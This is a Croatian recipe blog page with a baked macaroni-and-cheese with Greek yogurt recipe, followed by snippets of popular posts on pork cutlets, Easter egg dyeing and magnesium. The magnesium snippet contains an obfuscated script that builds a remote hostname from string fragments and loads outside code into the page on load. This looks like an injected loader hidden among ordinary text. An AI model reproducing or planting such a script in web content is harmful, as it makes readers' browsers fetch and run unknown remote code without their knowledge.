ZAPEČENI MAKARONI SA SIROM I GRČKIM JOGURTOM




Zapečeni makaroni sa sirom i grčkim jogurtom 




Makaroni sa sirom američki su klasik koji voli cijeli svijet, a jedna od varijacija na temu je ona s grčkim jogurtom koja je nešto je lakša i bogatija proteinima. Jogurt umaku daje kremastu teksturu i blagu svježinu, dok prepoznatljiv okus daje solidna količina cheddara. Jelo možete poslužiti kao bezmesni ručak ili večeru, ali i kao prilog uz povrće, salatu ili jela s roštilja.





Zapečeni makaroni sa sirom i grčkim jogurtom 



Sastojci:

  • 230 g makarona
  • 15 g glatkog brašna
  • ¼ žličice luka u prahu
  • ¼ žličice češnjaka u prahu
  • 1 žličica soli
  • ¼ žličice svježe mljevenog crnog papra
  • 30 g maslaca
  • 240 ml punomasnog mlijeka
  • 200 g grčkog jogurta
  • 225 g naribanog cheddara

Za posip:

  • 60 g naribanog cheddara
  • 10 g naribanog parmezana
  • ⅓ žličice soli
  • ¼ žličice svježe mljevenog crnog papra




Priprema:


  1. Pećnicu zagrijte na 190 °C. Namastite posudu za pečenje veličine otprilike 20 x 20 cm.
  2. Makarone skuhajte u posoljenoj vodi prema uputama na pakiranju, najbolje al dente. Ocijedite ih, ali ih nemojte ispirati.
  3. U manjoj zdjelici pomiješajte brašno, luk i češnjak u prahu, sol i papar. U loncu na srednje jakoj vatri otopite maslac pa dodajte pripremljene suhe sastojke i dobro promiješajte pjenjačom. Kuhajte oko jednu minutu, dok smjesa ne postane poput paste i lagano ne poprimi boju.
  4. Dodajte mlijeko i grčki jogurt te miješajte dok ne dobijete glatku smjesu. Nastavite zagrijavati na srednje jakoj vatri dok se umak ne počne zgušnjavati, pazeći da ne zakipi. Smanjite vatru, dodajte 225 g cheddara i miješajte dok se sir potpuno ne otopi.
  5. Umak od sira pomiješajte s kuhanim makaronima pa sve prebacite u pripremljenu posudu za pečenje.
  6. Za posip pomiješajte cheddar, parmezan, sol i papar te ravnomjerno rasporedite po makaronima.
  7. Pecite 15 do 20 minuta, odnosno dok se sir na površini ne otopi i lagano ne zazlati. Poslužite toplo.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više